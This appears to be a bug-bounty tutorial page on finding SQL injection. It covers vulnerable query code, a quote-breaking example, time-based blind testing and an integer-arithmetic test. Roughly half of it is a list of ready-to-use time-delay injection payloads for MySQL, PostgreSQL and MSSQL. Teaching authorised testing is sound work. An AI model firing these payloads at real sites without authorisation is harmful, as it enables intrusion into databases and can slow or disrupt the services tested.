Learning about testing for SQL injection

SQL injection is as old as Cross Site Scripting (XSS) and even those there are a variety of ways to prevent it, it is still found in todays websites! For those scratching their head wondering what is SQLi, SQL injection will allow you to inject your own custom SQL command which can give you access to the site's database. Imagine you have the endpoint /query.php with the parameter ?name. The code for this may look like:

$sql = "SELECT email FROM users WHERE firstName='$firstName'";

This tells the code to query for emails where their first name is xyz, which you define. If it's not correctly sanitized you will be able to inject your own SQL code.

We could run our command from providing something like /query.pp?name=sean' OR 1=1, which in terms of code would be:

$sql = "SELECT email FROM users WHERE firstName='sean' OR 1=1";

Can you see because the developer did not escape the string correctly we were able to inject our own SQL code, which in this case is ' OR 1=1. Numerous years ago testing for SQL injection was merely a case of looking for specific sql errors based on input, such as Warning: mysql_query(), sql syntax near, however most SQL injections you find now will be blind due to better error handling on frameworks. So does that mean we can still test & try discover SQL injection? Of course!

Finding SQL injection

There is no "go to" place for finding SQL injection as you can typically find them anywhere. For a website to function it will need to retrieve information from a database and this is where SQL injection enters. So what do I test?

Any time you believe a parameter is retrieving information from a database such as a number, for example report.php?id=1 would tell the code to retrieve id 1 from the database, test it for SQL injection! The website may interact with the database in all types of places so be mindful to test for SQL injection in as many places as XSS. As well as this if you discover certain keywords being used in the request, such as select, query, limit, offset, or you discover column names in the request, begin testing for SQL injection. They may be pre-preparing queries which you can attempt to break.

Testing for SQL injection

We recommend using sleep commands for testing for SQL injection since there is usually no errors and you can rely on the response & timing to determine SQL injection. If your command was sleep(30) and the page took 30 seconds to load, and then changing it to sleep(1) and it loads instantly, then you know you are on the right path for finding an SQL injection!

Using other payloads or even tools straight away may flag WAFs, however you may also run into WAFs preventing you from testing from simple payloads with ' and this will be a case-by-case basis as you'll need to determine what they are filtering.

SQLMap (http://sqlmap.org/) is a great tool to help you with your testing which is described as open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws. However, please make sure to exercise caution when using this tool and do not disrupt the website you are testing and be responsible & professional. Do not dump databases to prove your bug.

Another simple test, -1 !

Another simple test for SQL injection can be to simply use -1. Imagine the request is:

POST /updateUser
Host: example.com


If you were to provide user_id=1338-1 and it was vulnerable, then the code would execute against user_id=1337. The code

$sql = "UPDATE users SET name='test' WHERE id='1338-1'"; will be executed as being user id 1337. This is most common when testing integer values. Sometimes you may not be able to achieve an SQL error but you may be able to edit/access another users information. Be mindful this could be related to an insecure direct object reference

Useful payloads

  • SLEEP(20)#
  • SLEEP(20)--
  • SLEEP(20)="
  • SLEEP(20)='
  • '\"
  • && SLEEP(20)
  • && SLEEP(20)--
  • && SLEEP(20)#
  • ' AND SLEEP(20) AND '1
  • '&& SLEEP(20) && '1
  • ORDER BY SLEEP(20)--
  • +benchmark(3200,SHA1(1))+'
  • + SLEEP(10) + '
  • or SLEEP(20)
  • or SLEEP(20)#
  • or SLEEP(20)--
  • or SLEEP(20)="
  • or SLEEP(20)='
  • 1 or SLEEP(20)#
  • " or SLEEP(20)#
  • ' or SLEEP(20)#
  • " or SLEEP(20)="
  • ' or SLEEP(20)='
  • 1) or SLEEP(20)#
  • ") or SLEEP(20)="
  • ') or SLEEP(20)='
  • 1)) or SLEEP(20)#
  • ")) or SLEEP(20)="
  • ')) or SLEEP(20)='
  • pg_SLEEP(20)--
  • or pg_SLEEP(20)
  • or pg_SLEEP(20)--
  • or pg_SLEEP(20)#
  • 1 or pg_SLEEP(20)--
  • " or pg_SLEEP(20)--
  • ' or pg_SLEEP(20)--
  • 1) or pg_SLEEP(20)--
  • ") or pg_SLEEP(20)--
  • ') or pg_SLEEP(20)--
  • 1)) or pg_SLEEP(20)--
  • ")) or pg_SLEEP(20)--
  • ')) or pg_SLEEP(20)--
  • ;waitfor delay '0:0:5'--
  • );waitfor delay '0:0:5'--
  • ';waitfor delay '0:0:5'--
  • ";waitfor delay '0:0:5'--
  • ');waitfor delay '0:0:5'--
  • ");waitfor delay '0:0:5'--
  • ));waitfor delay '0:0:5'--
  • '));waitfor delay '0:0:5'--
  • "));waitfor delay '0:0:5'--
  • benchmark(10000000,MD5(1))#
  • 1 or benchmark(10000000,MD5(1))#
  • " or benchmark(10000000,MD5(1))#
  • ' or benchmark(10000000,MD5(1))#
  • 1) or benchmark(10000000,MD5(1))#
  • ") or benchmark(10000000,MD5(1))#
  • ') or benchmark(10000000,MD5(1))#
  • 1)) or benchmark(10000000,MD5(1))#
  • ")) or benchmark(10000000,MD5(1))#
  • ')) or benchmark(10000000,MD5(1))#
  • waitfor delay '00:00:05'
  • waitfor delay '00:00:05'--
  • waitfor delay '00:00:05'#
  • benchmark(50000000,MD5(1))
  • benchmark(50000000,MD5(1))--
  • benchmark(50000000,MD5(1))#
  • or benchmark(50000000,MD5(1))
  • or benchmark(50000000,MD5(1))--
  • or benchmark(50000000,MD5(1))#

Test your knowledge with BugBountyHunter Challenges

    We have free labs for this vulnerability coming soon. Currently it is only available on our members web application BARKER.


A list of useful websites, blog posts, reports tools to help you.